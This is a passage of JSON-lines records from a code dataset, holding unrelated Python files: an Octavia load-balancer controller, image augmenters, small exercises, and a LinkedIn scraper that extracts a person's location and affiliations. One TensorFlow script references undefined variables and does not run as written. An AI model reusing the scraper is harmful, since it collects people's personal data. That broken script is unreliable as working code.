self._flavor_repo.get_flavor_metadata_dict(\n db_apis.get_session(), lb.flavor_id))\n else:\n stored_params[constants.FLAVOR] = {}\n if lb and lb.availability_zone:\n stored_params[constants.AVAILABILITY_ZONE] = (\n self._az_repo.get_availability_zone_metadata_dict(\n db_apis.get_session(), lb.availability_zone))\n else:\n stored_params[constants.AVAILABILITY_ZONE] = {}\n\n self.services_controller.run_poster(\n flow_utils.get_failover_flow,\n role=amp.role, load_balancer=provider_lb,\n store=stored_params, wait=True)\n\n LOG.info(\"Successfully completed the failover for an amphora: %s\",\n {\"id\": amp.id,\n \"load_balancer_id\": amp.load_balancer_id,\n \"lb_network_ip\": amp.lb_network_ip,\n \"compute_id\": amp.compute_id,\n \"role\": amp_role})\n\n def failover_amphora(self, amphora_id):\n \"\"\"Perform failover operations for an amphora.\n\n :param amphora_id: ID for amphora to failover\n :returns: None\n :raises AmphoraNotFound: The referenced amphora was not found\n \"\"\"\n try:\n amp = self._amphora_repo.get(db_apis.get_session(),\n id=amphora_id)\n if not amp:\n LOG.warning(\"Could not fetch Amphora %s from DB, ignoring \"\n \"failover request.\", amphora_id)\n return\n self._perform_amphora_failover(\n amp, constants.LB_CREATE_FAILOVER_PRIORITY)\n if amp.load_balancer_id:\n LOG.info(\"Mark ACTIVE in DB for load balancer id: %s\",\n amp.load_balancer_id)\n self._lb_repo.update(\n db_apis.get_session(), amp.load_balancer_id,\n provisioning_status=constants.ACTIVE)\n except Exception as e:\n try:\n self._lb_repo.update(\n db_apis.get_session(), amp.load_balancer_id,\n provisioning_status=constants.ERROR)\n except Exception:\n LOG.error(\"Unable to revert LB status to ERROR.\")\n with excutils.save_and_reraise_exception():\n LOG.error(\"Amphora %(id)s failover exception: %(exc)s\",\n {'id': amphora_id, 'exc': e})\n\n def failover_loadbalancer(self, load_balancer_id):\n \"\"\"Perform failover operations for a load balancer.\n\n :param load_balancer_id: ID for load balancer to failover\n :returns: None\n :raises LBNotFound: The referenced load balancer was not found\n \"\"\"\n\n # Note: This expects that the load balancer is already in\n # provisioning_status=PENDING_UPDATE state\n try:\n lb = self._lb_repo.get(db_apis.get_session(),\n id=load_balancer_id)\n\n # Exclude amphora already deleted\n amps = [a for a in lb.amphorae if a.status != constants.DELETED]\n for amp in amps:\n # failover amphora in backup role\n # Note: this amp may not currently be the backup\n # TODO(johnsom) Change this to query the amp state\n # once the amp API supports it.\n if amp.role == constants.ROLE_BACKUP:\n self._perform_amphora_failover(\n amp, constants.LB_CREATE_ADMIN_FAILOVER_PRIORITY)\n\n for amp in amps:\n # failover everyhting else\n if amp.role != constants.ROLE_BACKUP:\n self._perform_amphora_failover(\n amp, constants.LB_CREATE_ADMIN_FAILOVER_PRIORITY)\n\n self._lb_repo.update(\n db_apis.get_session(), load_balancer_id,\n provisioning_status=constants.ACTIVE)\n\n except Exception as e:\n with excutils.save_and_reraise_exception():\n LOG.error(\"LB %(lbid)s failover exception: %(exc)s\",\n {'lbid': load_balancer_id, 'exc': e})\n self._lb_repo.update(\n db_apis.get_session(), load_balancer_id,\n provisioning_status=constants.ERROR)\n\n def amphora_cert_rotation(self, amphora_id):\n \"\"\"Perform cert rotation for an amphora.\n\n :param amphora_id: ID for amphora to rotate\n :returns: None\n :raises AmphoraNotFound: The referenced amphora was not found\n \"\"\"\n\n amp = self._amphora_repo.get(db_apis.get_session(),\n id=amphora_id)\n LOG.info(\"Start amphora cert rotation, amphora's id is: %s\", amp.id)\n\n store = {constants.AMPHORA: amp.to_dict(),\n constants.AMPHORA_ID: amphora_id}\n\n self.services_controller.run_poster(\n flow_utils.cert_rotate_amphora_flow,\n store=store)\n\n def update_amphora_agent_config(self, amphora_id):\n \"\"\"Update the amphora agent configuration.\n\n Note: This will update the amphora agent configuration file and\n update the running configuration for mutatable configuration\n items.\n\n :param amphora_id: ID of the amphora to update.\n :returns: None\n \"\"\"\n LOG.info(\"Start amphora agent configuration update, amphora's id \"\n \"is: %s\", amphora_id)\n amp = self._amphora_repo.get(db_apis.get_session(), id=amphora_id)\n lb = self._amphora_repo.get_lb_for_amphora(db_apis.get_session(),\n amphora_id)\n flavor = {}\n if lb.flavor_id:\n flavor = self._flavor_repo.get_flavor_metadata_dict(\n db_apis.get_session(), lb.flavor_id)\n\n store = {constants.AMPHORA: amp.to_dict(),\n constants.FLAVOR: flavor}\n\n self.services_controller.run_poster(\n flow_utils.update_amphora_config_flow,\n store=store)\n","sub_path":"octavia/controller/worker/v2/controller_worker.py","file_name":"controller_worker.py","file_ext":"py","file_size_in_byte":41022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"133569048","text":"import os\nimport sys\nimport numpy\nsys.path.append(\"/tank/georgioutk/cliffordConvolutionRegAngGrads/\")\nimport tensorflow as tf\nimport cliffordConvolution as cc\nimport time\nimport pickle\nimport scipy\nfrom matplotlib import pyplot as plt\n\ndef plot_field(field):\n\tfig, axes = plt.subplots(nrows=field.shape[0], ncols=field.shape[1])\n\tfor i in range(field.shape[0]):\n\t\tfor j in range(field.shape[1]):\n\t\t\taxes[i,j].quiver(0, 0, field[i,j,0], -field[i,j,1], angles='xy', scale_units='xy', scale=1)\n\t\t\taxes[i,j].set_xlim(-1.5, 1.5)\n\t\t\taxes[i,j].set_ylim(-1.5, 1.5)\n\t\t\taxes[i,j].set_xticks([])\n\t\t\taxes[i,j].set_yticks([])\n\tplt.subplots_adjust(wspace=0, hspace=0)\n\t# plt.show()\n\nmnist = tf.keras.datasets.mnist\n(x_train, y_train),(x_test, y_test) = mnist.load_data()\nx_train, x_test = numpy.expand_dims((x_train / 255.0).astype(numpy.float32), -1), numpy.expand_dims((x_test / 255.0).astype(numpy.float32), -1)\ny_train, y_test = y_train.astype(numpy.int32), y_test.astype(numpy.int32)\n\ncifar = tf.keras.datasets.cifar10\n(x_train, y_train),(x_test, y_test) = cifar.load_data()\nx_train, x_test = (x_train / 255.0).astype(numpy.float32), (x_test / 255.0).astype(numpy.float32)\ny_train, y_test = y_train.astype(numpy.int32), y_test.astype(numpy.int32)\n\ng_train = numpy.gradient(x_train, axis=[1,2])\ng_test = numpy.gradient(x_test, axis=[1,2])\n\ngrads0 = tf.placeholder(tf.float32, [None, None, None, None])\ngrads1 = tf.placeholder(tf.float32, [None, None, None, None])\n# grads0 = tf.placeholder(tf.float32, [60000,28,28,1])\n# grads1 = tf.placeholder(tf.float32, [60000,28,28,1])\ngrads = tf.concat([grads0, grads1], axis=-1)\navgrads = tf.layers.average_pooling2d(grads, [3,3], [1,1], padding='SAME')\nrotSecond = cc.transformations.rotateVectorField(avgrads, angle, irelevantAxisFirst=True)\nsepGrads = tf.split(avgrads, 2, -1)\n\nsess = tf.Session()\n# ag_train = sess.run(sepGrads, feed_dict={grads0: g_train[0], grads1:g_train[1]})\n# ag_test = sess.run(sepGrads, feed_dict={grads0: g_test[0], grads1:g_test[1]})\n\ncg_train = sess.run(grads, feed_dict={grads0: g_train[0], grads1:g_train[1]})\ncg_test = sess.run(grads, feed_dict={grads0: g_test[0], grads1:g_test[1]})\n\nmask_train = numpy.sqrt(ag_train[0]**2 + ag_train[1]**2) < 1e-2\nmask_test = numpy.sqrt(ag_test[0]**2 + ag_test[1]**2) < 1e-2\n\nmask_train[:,:,0,:] = False\nmask_train[:,:,-1,:] = False\nmask_train[:,0,:,:] = False\nmask_train[:,-1,:,:] = False\nmask_test[:,:,0,:] = False\nmask_test[:,:,-1,:] = False\nmask_test[:,0,:,:] = False\nmask_test[:,-1,:,:] = False\n# ag_trainV = numpy.concatenate(ag_train, axis=-1)\n\nag_train[0][mask_train] = numpy.nan\nag_train[1][mask_train] = numpy.nan\nag_test[0][mask_test] = numpy.nan\nag_test[1][mask_test] = numpy.nan\n\nag_trainWithMask = [numpy.ma.masked_invalid(ag_train[0]), numpy.ma.masked_invalid(ag_train[1])]\nag_testWithMask = [numpy.ma.masked_invalid(ag_test[0]), numpy.ma.masked_invalid(ag_test[1])]\n\nx = numpy.arange(0, ag_train[0].shape[2])\ny = numpy.arange(0, ag_train[0].shape[1])\n\nxx, yy = numpy.meshgrid(x, y)\n\nag_trainInterpolated = [numpy.zeros(shape=ag_train[0].shape), numpy.zeros(shape=ag_train[1].shape)]\nfor index in range(ag_trainWithMask[0].shape[0]):\n\texample = ag_trainWithMask[0][index,:,:,0]\n\t#get only the valid values\n\tx1 = xx[~example.mask]\n\ty1 = yy[~example.mask]\n\tnewarr = example[~example.mask]\n\tGD1 = scipy.interpolate.griddata((x1, y1), newarr.ravel(), (xx, yy), method='cubic')\n\tag_trainInterpolated[0][index,:,:,0] = GD1\n\nfor index in range(ag_trainWithMask[1].shape[0]):\n\texample = ag_trainWithMask[1][index,:,:,0]\n\t#get only the valid values\n\tx1 = xx[~example.mask]\n\ty1 = yy[~example.mask]\n\tnewarr = example[~example.mask]\n\tGD1 = scipy.interpolate.griddata((x1, y1), newarr.ravel(), (xx, yy), method='cubic')\n\tag_trainInterpolated[1][index,:,:,0] = GD1\n\nag_testInterpolated = [numpy.zeros(shape=ag_test[0].shape), numpy.zeros(shape=ag_test[1].shape)]\nfor index in range(ag_testWithMask[0].shape[0]):\n\texample = ag_testWithMask[0][index,:,:,0]\n\t#get only the valid values\n\tx1 = xx[~example.mask]\n\ty1 = yy[~example.mask]\n\tnewarr = example[~example.mask]\n\tGD1 = scipy.interpolate.griddata((x1, y1), newarr.ravel(), (xx, yy), method='cubic')\n\tag_testInterpolated[0][index,:,:,0] = GD1\n\nfor index in range(ag_testWithMask[1].shape[0]):\n\texample = ag_testWithMask[1][index,:,:,0]\n\t#get only the valid values\n\tx1 = xx[~example.mask]\n\ty1 = yy[~example.mask]\n\tnewarr = example[~example.mask]\n\tGD1 = scipy.interpolate.griddata((x1, y1), newarr.ravel(), (xx, yy), method='cubic')\n\tag_testInterpolated[1][index,:,:,0] = GD1\n\na_train = numpy.arctan2(ag_train[1], ag_train[0])\na_trainInterpolated = numpy.arctan2(ag_trainInterpolated[1], ag_trainInterpolated[0])\n\na_test = numpy.arctan2(ag_test[1], ag_test[0])\na_testInterpolated = numpy.arctan2(ag_testInterpolated[1], ag_testInterpolated[0])\n\n\n\n\nmagn = tf.placeholder(tf.float32, [60000,28,28,1])\nangs = tf.placeholder(tf.float32, [60000,28,28,1])\nmagn2 = tf.placeholder(tf.float32, [10000,28,28,1])\nangs2 = tf.placeholder(tf.float32, [10000,28,28,1])\nnormMagn = cc.layers.normalizeVectorField(magn, 3, 3)\nvField = cc.transformations.changeToCartesian(normMagn, angs)\nnormMagn2 = cc.layers.normalizeVectorField(magn2, 3, 3)\nvField2 = cc.transformations.changeToCartesian(normMagn2, angs2)\n# magn = tf.placeholder(tf.float32, [60000,28,28,1])\n# angs = tf.placeholder(tf.float32, [60000,28,28,1])\n# vField = cc.transformations.changeToCartesian(magn, angs)\n\nv_trainInterpolated, v_testInterpolated = sess.run([vField, vField2], feed_dict={magn: x_train, angs: a_trainInterpolated, magn2: x_test, angs2: a_testInterpolated})\n# v_testInterpolated = sess.run(vField, feed_dict={magn: x_test, angs: a_testInterpolated})\nv_train = sess.run(vField, feed_dict={magn: x_train, angs: a_train})\n\npickle.dump(v_trainInterpolated, open(\"vMnistTrain3x3AP.pkl\",\"wb\"))\npickle.dump(v_testInterpolated, open(\"vMnistTest3x3AP.pkl\",\"wb\"))\n\npickle.dump(cg_train, open(\"gCifar10Train.pkl\",\"wb\"))\npickle.dump(cg_test, open(\"gCifar10Test.pkl\",\"wb\"))\n\n\nplt.imshow(a_train[0,:,:,0])\nplt.show()","sub_path":"tests/fillMissingValuesInImage.py","file_name":"fillMissingValuesInImage.py","file_ext":"py","file_size_in_byte":6016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"157788875","text":"import decimal \n\ndef num2words(num):\n num = decimal.Decimal(num)\n decimal_part = num - int(num)\n num = int(num)\n\n if decimal_part:\n return num2words(num) + \" point \" + (\" \".join(num2words(i) for i in str(decimal_part)[2:]))\n\n under_20 = ['Zero', 'One', 'Two', 'Three', 'Four', 'Five', 'Six', 'Seven', 'Eight', 'Nine', 'Ten', 'Eleven', 'Twelve', 'Thirteen', 'Fourteen', 'Fifteen', 'Sixteen', 'Seventeen', 'Eighteen', 'Nineteen']\n tens = ['Twenty', 'Thirty', 'Forty', 'Fifty', 'Sixty', 'Seventy', 'Eighty', 'Ninety']\n above_100 = {100: 'Hundred', 1000: 'Thousand', 100000: 'Lakhs', 10000000: 'Crores'}\n\n if num < 20:\n return under_20[num]\n\n if num < 100:\n return tens[num // 10 - 2] + ('' if num % 10 == 0 else ' ' + under_20[num % 10])\n\n # find the appropriate pivot - 'Million' in 3,603,550, or 'Thousand' in 603,550\n pivot = max([key for key in above_100.keys() if key <= num])\n\n return num2words(num // pivot) + ' ' + above_100[pivot] + ('' if num % pivot==0 else ' ' + num2words(num % pivot))\n\n\nprint(num2words(decimal.Decimal(\"238484\")))","sub_path":"num2words.py","file_name":"num2words.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"36409224","text":"import json\n\nimport requests\nfrom bs4 import BeautifulSoup\n\n\ndef Linkedin(linkedin_profile_link):\n result = []\n\n try:\n r = requests.get(url=linkedin_profile_link)\n soup = BeautifulSoup(r.text, \"html.parser\")\n data = json.loads(soup.find('script', type='application/ld+json').text)\n data1 = [element.text for element in soup.find_all(\"div\", class_=\"result-card__title experience-item__title\")]\n\n result.append('Lives in ' + data['address']['addressLocality'])\n if (data1):\n result.append('Affiliations include')\n for i in range(len(data1)):\n result.append(str(i + 1) + ': ' + data1[i])\n except:\n result.append('Could not retrieve anything')\n print (*result)","sub_path":"CyberRATWeb/scrapers/linkedin_scrapper.py","file_name":"linkedin_scrapper.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"302887403","text":"from objetos.DecisionTreeFirst import DecisionTreeFirst\nfrom objetos.DecisionTreeExampleZero import DecisionTreeExampleZero\nfrom objetos.DecisionTreeIncidencias import DecisionTreeIncidencias\n\n\nclass DecisionTreeExample:\n\n @staticmethod\n def main(*args, **kwargs):\n #DecisionTreeExample.example_zero()\n #DecisionTreeExample.example_first()\n DecisionTreeExample.example_second()\n\n @staticmethod\n def example_zero():\n arbol = DecisionTreeExampleZero()\n arbol.feature_for_setosa()\n arbol.print_data_col()\n\n @staticmethod\n def example_first():\n arbol = DecisionTreeFirst(max_depth=3)\n arbol.imp_score_predict()\n arbol.imp_predict()\n arbol.abrir_dot()\n #arbol.graficar_caracteristicas_importantes()\n #arbol.graficar_clasificacion()\n\n @staticmethod\n def example_second():\n arbol = DecisionTreeIncidencias('incidencia_entrenar.csv')\n arbol.imp_score_predict()\n arbol.imp_predict()\n arbol.abrir_dot()\n\n\nif __name__ == '__main__':\n DecisionTreeExample.main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"449065427","text":"# Copyright 2018 The KaiJIN Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\nimport math\nimport torch\nimport numpy as np\nfrom .colorspace import *\nfrom imgaug import augmenters as iaa\n\n\ndef imnormalize(img, mean, std, to_rgb=True):\n\n img = img.astype(np.float32)\n if to_rgb:\n img = bgr2rgb(img)\n return (img - mean) / std\n\n\nclass Normalize(iaa.Augmenter):\n def __init__(self, mean, std, to_rgb=True, name=None, deterministic=False, random_state=None):\n super(Normalize, self).__init__(\n name=name, deterministic=True, random_state=random_state)\n self.mean = np.array(mean, dtype=np.float32)\n self.std = np.array(std, dtype=np.float32)\n self.to_rgb = to_rgb\n\n def _augment_heatmaps(self, heatmaps, random_state, parents, hooks):\n raise NotImplementedError()\n\n def _augment_images(self, images, random_state, parents, hooks):\n\n results = []\n\n for image in images:\n image = imnormalize(image, self.mean, self.std, self.to_rgb)\n results.append(image)\n\n return results\n\n def _augment_keypoints(self, keypoints_on_image, random_state, parents, hooks):\n\n return keypoints_on_image\n\n def _augment_polygons(self, polygons_on_image, random_state, parents, hooks):\n\n return polygons_on_image\n\n def get_parameters(self):\n raise NotImplementedError()\n\n\nclass ToFloat(iaa.Augmenter):\n def __init__(self,\n name=None,\n deterministic=False,\n random_state=None):\n super(ToFloat, self).__init__(name=name,\n deterministic=deterministic,\n random_state=random_state)\n\n def _augment_heatmaps(self, heatmaps, random_state, parents, hooks):\n return heatmaps\n\n def _augment_images(self, images, random_state, parents, hooks):\n results = []\n for image in images:\n m = image.astype('float32')\n results.append(m)\n return results\n\n def _augment_keypoints(self, keypoints_on_images, random_state, parents, hooks):\n return keypoints_on_images\n\n def _augment_polygons(self, polygons_on_images, random_state, parents, hooks):\n return self._augment_polygons_as_keypoints(\n polygons_on_images, random_state, parents, hooks)\n \n def get_parameters(self):\n raise NotImplementedError()\n\n\nclass ToTensor(iaa.Augmenter):\n \"\"\"To pytorch tensor\n \"\"\"\n\n def __init__(self,\n image_scale=255,\n image_mean=None,\n image_std=None,\n heatmap_scale=None,\n name=None,\n deterministic=False,\n random_state=None):\n super(ToTensor, self).__init__(name=name,\n deterministic=deterministic,\n random_state=random_state)\n self.image_scale = image_scale\n self.heatmap_scale = heatmap_scale\n self.image_mean = image_mean\n self.image_std = image_std\n if self.image_mean is not None:\n self.image_mean = torch.as_tensor(\n self.image_mean, dtype=torch.float32, device='cpu')\n if self.image_std is not None:\n self.image_std = torch.as_tensor(\n self.image_std, dtype=torch.float32, device='cpu')\n\n def _augment_heatmaps(self, heatmaps, random_state, parents, hooks):\n results = []\n for heatmap in heatmaps:\n m = torch.from_numpy(np.ascontiguousarray(heatmap.get_arr()))\n results.append(m)\n return results\n\n def _augment_images(self, images, random_state, parents, hooks):\n results = []\n for image in images:\n m = torch.from_numpy(np.ascontiguousarray(image.transpose((2, 0, 1))))\n m = m.type(torch.FloatTensor)\n if self.image_scale is not None:\n m = m.float().div(self.image_scale)\n if self.image_mean is not None:\n m.sub_(self.image_mean[:, None, None])\n if self.image_std is not None:\n m.div_(self.image_std[:, None, None])\n results.append(m)\n return results\n\n def _augment_keypoints(self, keypoints_on_images, random_state, parents, hooks):\n return keypoints_on_images\n\n def _augment_polygons(self, polygons_on_images, random_state, parents, hooks):\n return self._augment_polygons_as_keypoints(\n polygons_on_images, random_state, parents, hooks)\n\n def get_parameters(self):\n raise NotImplementedError()\n\n\n# class Normalize(iaa.Augmenter):\n# \"\"\"Normalize\n# \"\"\"\n\n# def __init__(self,\n# mean,\n# std,\n# name=None,\n# deterministic=False,\n# random_state=None):\n# super(Normalize, self).__init__(name=name,\n# deterministic=deterministic,\n# random_state=random_state)\n# self.mean = np.array(mean)\n# self.std = np.array(std)\n\n# def _augment_heatmaps(self, heatmaps, random_state, parents, hooks):\n# return heatmaps\n\n# def _augment_images(self, images, random_state, parents, hooks):\n# raise NotImplementedError()\n\n# def _augment_keypoints(self, keypoints_on_images, random_state, parents, hooks):\n# return keypoints_on_images\n\n# def _augment_polygons(self, polygons_on_images, random_state, parents, hooks):\n# return self._augment_polygons_as_keypoints(\n# polygons_on_images, random_state, parents, hooks)\n\n# def get_parameters(self):\n# raise NotImplementedError()\n\n\nclass TruncatedStandardize(iaa.Augmenter):\n \"\"\"Implemented in TensorFlow\"\"\"\n\n def __init__(self,\n name=None,\n deterministic=False,\n random_state=None):\n super(TruncatedStandardize, self).__init__(name=name,\n deterministic=deterministic,\n random_state=random_state)\n\n def _augment_heatmaps(self, heatmaps, random_state, parents, hooks):\n return heatmaps\n\n def _augment_images(self, images, random_state, parents, hooks):\n results = []\n for idx, image in enumerate(images):\n h, w, c = image.shape\n image = image.astype('float32')\n min_std = 1.0 / math.sqrt(float(h * w * c))\n adjust_std = max(np.std(image), min_std)\n image = (image - np.mean(image)) / adjust_std\n results.append(image)\n return results\n\n def _augment_keypoints(self, keypoints_on_images, random_state, parents, hooks):\n return keypoints_on_images\n\n def _augment_polygons(self, polygons_on_images, random_state, parents, hooks):\n return self._augment_polygons_as_keypoints(\n polygons_on_images, random_state, parents, hooks)\n\n def get_parameters(self):\n raise NotImplementedError()\n","sub_path":"tw/transform/augmenter/normalize.py","file_name":"normalize.py","file_ext":"py","file_size_in_byte":7194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"145237926","text":"import numpy as np\nimport cv2\nimport time\n\ndef main():\n img = np.zeros([100,100])\n phi_scalar = np.full_like(img, img.shape[0]*img.shape[1]*2)\n f_scalar = np.zeros_like(img)\n n_max = img.shape[0]*2+(img.shape[1]-2)*2 \n p = np.zeros([n_max, 2])\n n = 0\n nb = np.full_like(img, False)\n \n i_in = np.zeros([img.shape[0], 2])\n j_in = np.zeros([img.shape[1], 2])\n cpos = np.asarray([(0,0), (img.shape[0]-1, img.shape[1]-1)])\n c = np.zeros_like(img)\n for i in range(len(c)):\n for j in range(len(c[0])):\n if ((i == cpos[0,0] or i == cpos[1,0]) and (cpos[0,1] <= j and j <= cpos[1,1])) \\\n or ((j == cpos[0,1] or j == cpos[1,1]) and (cpos[0,0] <= i and i <= cpos[1,0])):\n c[i,j] = 1\n \n for i in range(len(i_in)):\n ccc = [ii for ii, x in enumerate(c[:, i]) if x == 1]\n if len(ccc) > 1:\n i_in[i] = [ccc[0], ccc[-1]]\n else:\n i_in[i] = [-1, -1]\n for j in range(len(j_in)):\n ccc = [jj for jj, x in enumerate(c[j, :]) if x == 1]\n if len(ccc) > 1:\n j_in[j] = [ccc[0], ccc[-1]]\n else:\n j_in[j] = [-1, -1]\n\n # start = time.time()\n\n for i in range(len(phi_scalar)):\n for j in range(len(phi_scalar[0])):\n if c[i,j] == 1:\n phi_scalar[i,j] = 0\n get_euclidean(phi_scalar, (i,j), c)\n\n nb = phi_scalar <= 4\n print(nb)\n\n for i in range(len(phi_scalar)):\n for j in range(len(phi_scalar[0])):\n if i_in[i,0] < i and i < i_in[i,1] and j_in[j,0] < j and j < j_in[j,1]:\n phi_scalar[i,j] *= -1\n\n # elapsed_time = time.time() - start\n # print (\"elapsed_time:{0}\".format(elapsed_time) + \"[sec]\")\n\n \n\n print(phi_scalar)\n\ndef get_euclidean(phi, ij, c):\n for i in range(len(phi)):\n for j in range(len(phi)):\n # phi[i,j] = min(phi[i,j], e_table[abs(ij[0]-i),abs(ij[1]-j)])\n phi[i,j] = min(phi[i,j], (ij[0]-i)**2+(ij[1]-j)**2)\n\ndef get_euclidean_table(phi, ij, c, e_table):\n ## e_table's template\n # tmpl = np.asarray([x**2 for x in range(max(img.shape[0], img.shape[1]))])\n # tmpmap = np.zeros_like(img, dtype=int)\n # for i in range(len(tmpmap)):\n # for j in range(len(tmpmap[0])):\n # tmpmap[i,j] = tmpl[i]+tmpl[j]\n # print(tmpmap)\n\n for i in range(len(phi)):\n for j in range(len(phi)):\n phi[i,j] = min(phi[i,j], e_table[abs(ij[0]-i),abs(ij[1]-j)])\n \nif __name__ == \"__main__\":\n main()","sub_path":"segmentation/level_set_method.py","file_name":"level_set_method.py","file_ext":"py","file_size_in_byte":2542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"221269142","text":"\n\n#calss header\nclass _LARCENY():\n\tdef __init__(self,): \n\t\tself.name = \"LARCENY\"\n\t\tself.definitions = [u'stealing, especially (in the US) the crime of taking something that does not belong to you, without illegally entering a building to do so']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_larceny.py","file_name":"_larceny.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"595431043","text":"import argparse\n\nimport sys, os\nsys.path.insert(0, './')\n\nimport lexer\nimport yacc\n\nparser = argparse.ArgumentParser(prog=sys.argv[0], usage=\"./bin/ekcc[.py] [-h|-?] [-v] [-O] [-emit-ast|-emit-llvm] -o \", add_help=False)\nparser.add_argument(\"-h\", action=\"help\", help=\"show this help message and exit\")\nparser.add_argument(\"-v\", action='store_true', help=\"print information for debugging\")\nparser.add_argument(\"-O\", action='store_true', help=\"enable optimization\")\nparser.add_argument(\"-emit-ast\", action='store_true', help=\"dump AST in a YAML format\")\nparser.add_argument(\"-emit-llvm\", action='store_true', help=\"output LLVM IR\")\nparser.add_argument(\"-o\", help=\"set output file path\", default=sys.stdout)\nargs, unknown = parser.parse_known_args()\n\nif len(unknown) != 1:\n raise ValueError(\"Usage: ./bin/ekcc.py \")\nelse:\n if args.emit_ast == True:\n with open(unknown[0], 'r') as input: \n content = input.read()\n result = yacc.parse(content)\n output_file_path = args.o\n if isinstance(args.o, str):\n with open(output_file_path, 'w') as output:\n output.write(result)\n else:\n args.o.write(result)","sub_path":"bin/ekcc.py","file_name":"ekcc.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"418126477","text":"# https://www.acmicpc.net/problem/10026\n\nimport sys\n\nsys.setrecursionlimit(10 ** 6)\ninput = sys.stdin.readline\n\nN = int(input())\ntable = [list(input()) for _ in range(N)]\nvisited = [[0] * N for _ in range(N)]\n\n\ndef dfs(node, is_RG=False):\n x, y = node\n if visited[x][y]:\n return\n visited[x][y] = 1\n\n if is_RG:\n if table[x][y] == \"B\":\n for dx, dy in [(0, 1), (0, -1), (1, 0), (-1, 0)]:\n nx, ny = x + dx, y + dy\n if 0 <= nx < N and 0 <= ny < N:\n if not visited[nx][ny] and table[nx][ny] == \"B\":\n dfs((nx, ny), is_RG)\n else:\n for dx, dy in [(0, 1), (0, -1), (1, 0), (-1, 0)]:\n nx, ny = x + dx, y + dy\n if 0 <= nx < N and 0 <= ny < N:\n if not visited[nx][ny] and table[nx][ny] != \"B\":\n dfs((nx, ny), is_RG)\n\n else:\n for dx, dy in [(0, 1), (0, -1), (1, 0), (-1, 0)]:\n nx, ny = x + dx, y + dy\n if 0 <= nx < N and 0 <= ny < N:\n if not visited[nx][ny] and table[nx][ny] == table[x][y]:\n dfs((nx, ny), is_RG)\n\n\nanswer1 = 0\nanswer2 = 0\nfor i in range(N):\n for j in range(N):\n if not visited[i][j]:\n answer1 += 1\n dfs((i, j))\nvisited = [[0] * N for _ in range(N)]\nfor i in range(N):\n for j in range(N):\n if not visited[i][j]:\n answer2 += 1\n dfs((i, j), True)\nprint(\"{} {}\".format(answer1, answer2))\n","sub_path":"BOJ/graph/10026.py","file_name":"10026.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"411708928","text":"import requests\n\n\nclass LolSettings:\n def __init__(self, summoner, region):\n self.summoner = summoner\n self.region = region\n self.headers = {'X-Riot-Token': ''}\n\n def start(self):\n url = f'https://la1.api.riotgames.com/lol/summoner/v4/summoners/by-name/{self.summoner}'\n response = requests.get(url, headers=self.headers)\n return response.json()\n\nclass Lol(LolSettings):\n def __init__(self, summoner, region):\n super().__init__(summoner, region)\n \n def greetings(self):\n summoner = self.start()\n name = summoner['name']\n lvl = summoner['summonerLevel']\n icon_id = summoner['profileIconId']\n\n greetings = f'Saludos invocador {name}, lvl {lvl}.'\n icon_url = f'https://ddragon.leagueoflegends.com/cdn/11.6.1/img/profileicon/{icon_id}.png'\n return {'greetings': greetings, 'icon_url': icon_url}\n \n def rank(self):\n summoner = self.start()\n summoner_id = summoner['id']\n name = summoner['name']\n url = f'https://la1.api.riotgames.com/lol/league/v4/entries/by-summoner/{summoner_id}'\n response = requests.get(url, headers=self.headers)\n print(response.json())\n return response.json()[0]","sub_path":"utils/lol.py","file_name":"lol.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"604240001","text":"def partition(lst):\n pivot = lst[0]\n\n for i in range(1, len(lst)):\n if lst[i] < pivot:\n lst.insert(0, lst.pop(i))\n\ndef main():\n list1 = [int(x) for x in input(\"Enter some values: \").split()]\n\n partition(list1)\n print(\"After the partition, the list is\", end = \" \")\n for num in list1:\n print(num, end = \" \")\n print()\n\nmain()","sub_path":"PythonProgramming/cp10/프로그래밍 연습문제(cp10)/10.28.py","file_name":"10.28.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"463242022","text":"from rest_framework.routers import SimpleRouter\nfrom health_workforce import views # import the views for routing on the api endpoints\n\nrouter = SimpleRouter()\nrouter.register(\n r'courses', views.StgInstitutionProgrammesViewSet,'course')\nrouter.register(\n r'training_types',views.StgInstitutionTypeViewSet,'training_type')\nrouter.register(\n r'institutions', views.StgTrainingInstitutionViewSet,'institution')\nrouter.register(r'cadres', views.StgHealthCadreViewSet,'carde')\nrouter.register(\n r'workforce',views.StgHealthWorkforceFactsViewSet,'workforce')\nurlpatterns = 